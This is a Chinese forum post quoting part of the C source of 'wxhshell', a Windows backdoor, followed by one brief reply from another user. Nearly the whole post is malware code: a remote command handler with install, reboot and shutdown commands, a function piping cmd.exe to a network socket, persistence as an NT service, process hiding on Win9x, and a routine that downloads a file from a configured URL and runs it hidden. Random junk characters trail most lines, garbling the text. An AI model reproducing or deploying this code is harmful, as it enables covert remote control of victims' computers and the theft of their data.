  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 5h.u>6@{  
  else NMmk,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R`Hyg4?  
  } o6K\z+.{  
  else { S/ ]2Qt#T  
30g-J(Zg  
    switch(cmd[0]) { )Z0pU\  
   V3K  
  // 帮助 `TKe+oS)  
  case '?': { a /X@5kr{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "#d}S)GlXM  
    break; I :%(nKBK  
  } em<(wJ-Y  
  // 安装 ^.Vq0Qzy]  
  case 'i': { z+&mMP`-  
    if(Install()) ?n>h/[/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AM*V4}s*9k  
    else i3s-l8\\z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FSd842O  
    break; rC}r99Pe:x  
    } 6~V$0Y>]  
  // 卸载 }'a}s0h  
  case 'r': { Gr&5 mniu  
    if(Uninstall()) eiI}:5~ /g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bTE%p0  
    else "'-f?kZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JadXdK=gE  
    break; LHKawEZ  
    } " GkBX  
  // 显示 wxhshell 所在路径 phwk0J]2  
  case 'p': { T?:Vw laE  
    char svExeFile[MAX_PATH]; 6",1JH,;p  
    strcpy(svExeFile,"\n\r"); <i`Ipj  
      strcat(svExeFile,ExeFile); =l&7~  
        send(wsh,svExeFile,strlen(svExeFile),0); y} AkF2:  
    break; mu04TPj  
    } ]wWN~G)2lV  
  // 重启 `omZ'n)  
  case 'b': { *xA&t)z(i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R @b[o7/  
    if(Boot(REBOOT)) B<J} YN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZJ'#XZpr  
    else { Eic/#j{4  
    closesocket(wsh); ko*Ir@SDv  
    ExitThread(0); U-#wFc2N  
    } 5X4; (Qj  
    break; L|EvI.f  
    } 4!,x3H'  
  // 关机 O8"kIDr-  
  case 'd': { L+7L0LbNU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TB\#frG  
    if(Boot(SHUTDOWN)) (S* T{OgO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ie{9zO<d  
    else { kUUeyq  
    closesocket(wsh);  v4=9T<[  
    ExitThread(0); Co&#mVY4,  
    } qd(C%Wk  
    break; x6\EU=,  
    } jQ@z!GirT  
  // 获取shell R}>xpU1  
  case 's': { CEq0ZL-W  
    CmdShell(wsh); 8- 3]Bm!  
    closesocket(wsh); 9^QiFgJy  
    ExitThread(0); iyAeR!`  
    break; 9'faH  
  } <XiHQ B!  
  // 退出 e82SG8#]  
  case 'x': { thIuK V{CO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pca `nN!  
    CloseIt(wsh); >VM@9Cph  
    break; "VR>nyG%  
    } .z4 fJx  
  // 离开 sxinA8  
  case 'q': { r) ;U zd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <R582$( I  
    closesocket(wsh); {Y6U%HG{{r  
    WSACleanup(); O{SP4|0JV  
    exit(1); c+,F)i^`  
    break; ozwPtF5  
        } nh"nSBRxk  
  } UUJbF$@;  
  } oP;"`^_  
/ CEnyE/  
  // 提示信息 8+5# FC7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9`VgD<?v  
}  yaza  
  } P~`gWGC}  
@?lmho?  
  return; ]Qm$S5tU  
} XFKe6:  
3cfW|J  
// shell模块句柄 w=H   
int CmdShell(SOCKET sock) :6~Nq/hZB  
{ I},.U&r  
STARTUPINFO si; #pO=\lJ,  
ZeroMemory(&si,sizeof(si)); $_IvzbOh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; smaPZ^;; j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fv$5Zcf  
PROCESS_INFORMATION ProcessInfo; &~)PB |  
char cmdline[]="cmd"; zrVw l\&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,r^zDlS<q  
  return 0; KM li!.(b  
} EK`}?>'  
KK$t3e)  
// 自身启动模式 ea[vzD]  
int StartFromService(void) -d5b,leC^  
{   @a2n{  
typedef struct djJD'JL  
{ ?_)b[-N!  
  DWORD ExitStatus; [Z9 lxZ|  
  DWORD PebBaseAddress; Tq{+9+  
  DWORD AffinityMask; dZ}gf}.v  
  DWORD BasePriority; `Cq&;-u  
  ULONG UniqueProcessId; g<U\7Vp\1  
  ULONG InheritedFromUniqueProcessId; NU[{ANbl  
}   PROCESS_BASIC_INFORMATION; ._'AJhU$0  
Wd "<u2  
PROCNTQSIP NtQueryInformationProcess; hS&3D6G t  
IlN: NS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #$W02L8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0T,uH  
/2 z, ?,jL  
  HANDLE             hProcess; OBY^J1St  
  PROCESS_BASIC_INFORMATION pbi; y0s=yN_  
HXV4E\JA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &JMp)zaI[  
  if(NULL == hInst ) return 0; `R[cM; c2  
8LuM eGs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >}<1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xb#!1hA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E,IeW {6s  
R 6JHRd  
  if (!NtQueryInformationProcess) return 0; C\ 2rSyo  
x6yYx_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NzS(, F  
  if(!hProcess) return 0; pGZiADT  
EZs"?A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c_"=G#^9@i  
bmCp:6  
  CloseHandle(hProcess); m8[XA!,  
xf2|9Tqt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7m.#No>^  
if(hProcess==NULL) return 0; JR6r3W  
fh%|6k?#M  
HMODULE hMod; U]Y</>xGI  
char procName[255]; Yzr)UJl*I  
unsigned long cbNeeded; hK]mnA[Y  
%lsRj)n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7:/gO~g I  
<|-da&7  
  CloseHandle(hProcess); T)c<tIr6  
,J;Cb}  
if(strstr(procName,"services")) return 1; // 以服务启动 tzIcR #Z  
CghlyT  
  return 0; // 注册表启动 \-?0ab3Z  
} Cb}I-GtO  
ehTrjb3k  
// 主模块 KC+jHk  
int StartWxhshell(LPSTR lpCmdLine) ' % d-  
{ ~fnu;'fN  
  SOCKET wsl; _v6x3 Z  
BOOL val=TRUE; TXL!5, X_  
  int port=0; E P3Vz8^  
  struct sockaddr_in door; b-8}TTL>  
Q DVk7ks  
  if(wscfg.ws_autoins) Install(); r7ebFJEf  
bW-sTGjRD  
port=atoi(lpCmdLine); |hl:!j.t  
gOy;6\/  
if(port<=0) port=wscfg.ws_port; l+nT$IPF  
wn-1fz <d  
  WSADATA data; *Jwx,wF}4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c-VIpA1  
B\54eTn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,,G[360  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0u) m9eg  
  door.sin_family = AF_INET; h0.2^vM)R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )JrG`CvdU  
  door.sin_port = htons(port); q-hREO  
\s?8}k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jK-b#h.gL  
closesocket(wsl); C'7DG\pr  
return 1; Y_zMj`HE  
} p>N8g#G  
[$X^r<|P@  
  if(listen(wsl,2) == INVALID_SOCKET) { H\fsyxM7  
closesocket(wsl); +'|nsIx,  
return 1; Sx8RH),k  
} i 558&:  
  Wxhshell(wsl); pC~ M5(F_  
  WSACleanup(); 5>6:#.f%!e  
: X}n[K  
return 0; fc&djd`FuX  
F|a'^:Qs  
} ID: tTltcc  
${)oi:K@:  
// 以NT服务方式启动 5pT8 }?7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p'`?CJq8  
{ PrHoN2y5E  
DWORD   status = 0; \483S]_-z{  
  DWORD   specificError = 0xfffffff; N:q\i57x  
Xf#+^cQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NDUH10Y:[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a]/KJn /B(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1}_4C0h\'  
  serviceStatus.dwWin32ExitCode     = 0; W) Ct*I^  
  serviceStatus.dwServiceSpecificExitCode = 0; UgL FU#  
  serviceStatus.dwCheckPoint       = 0; A.vf)hO  
  serviceStatus.dwWaitHint       = 0; ,!40\"A  
Z;<:=#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KKq%'y)u^  
  if (hServiceStatusHandle==0) return; $cW t^B'  
ck< `kJ`b  
status = GetLastError(); ~t<G gNI  
  if (status!=NO_ERROR) .?vHoNvo  
{ 8y']kVg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -UM|u_  
    serviceStatus.dwCheckPoint       = 0; zpD?5  
    serviceStatus.dwWaitHint       = 0; k Nvb>v  
    serviceStatus.dwWin32ExitCode     = status; +MZI\>  
    serviceStatus.dwServiceSpecificExitCode = specificError; D;&\)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G^sx/H76J  
    return; Xs{PAS0  
  } _7z]zy@PC5  
BRy3D\}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PJ)l{c  
  serviceStatus.dwCheckPoint       = 0; ?[uHRBR'  
  serviceStatus.dwWaitHint       = 0; -{}h6r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pr:\zI  
} 7},oY"" 8  
i)$P1h  
// 处理NT服务事件,比如:启动、停止 ?7]G )8G6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0l3[?YtXc  
{ $4mCtonP=  
switch(fdwControl) Xj{gyLs  
{ 1eywnOjrj  
case SERVICE_CONTROL_STOP: t`="2$NO  
  serviceStatus.dwWin32ExitCode = 0; "IB36/9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LZb<-vK"y  
  serviceStatus.dwCheckPoint   = 0; 3%+!qm  
  serviceStatus.dwWaitHint     = 0; ;mYZ@g%e  
  { ^J&D)&"j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :C>iV+B j  
  } 8_E(.]U  
  return; twu,yC!  
case SERVICE_CONTROL_PAUSE: XG*> yra`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qyxd9Lk1  
  break; Gy[anDE&  
case SERVICE_CONTROL_CONTINUE: m_;fj~m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O,Tp,w T  
  break; == E8^jYJw  
case SERVICE_CONTROL_INTERROGATE: {i+ o'Lw  
  break; s= ]NKJaQH  
}; b*Q3j}cZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $/lM %yXe  
} D;s%cL`  
`#' j3,\6  
// 标准应用程序主函数 pSbtm74  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fgs@oaoZ  
{ o5j6(`#;  
I(Qz%/Ox  
// 获取操作系统版本 (uDAdE5  
OsIsNt=GetOsVer(); (5@H<c^6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X 0iy  
!uoT8BBAk  
  // 从命令行安装 oN[}i6^,e  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]tXIe?>9  
`<|tC#<z  
  // 下载执行文件 \gA<yz-;N  
if(wscfg.ws_downexe) { 0zA;%oP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ilde<!?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ImG8v[Q E  
} hsQDRx%H}  
;<q 2  
if(!OsIsNt) { ! d<R =L  
// 如果时win9x,隐藏进程并且设置为注册表启动 =%<, ^2o  
HideProc(); eM{u>n+`F0  
StartWxhshell(lpCmdLine); "AZ|u#0P  
} !qp$Xtf+  
else "0uM%*2  
  if(StartFromService()) .;Mb4"7=  
  // 以服务方式启动 (~eS$8>.  
  StartServiceCtrlDispatcher(DispatchTable); 6lCpf1>6@  
else jC_'6sc`  
  // 普通方式启动 cE:s\hG  
  StartWxhshell(lpCmdLine); Ufl\ uq3'H  
{ZrlbDQX  
return 0; :A z lls  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五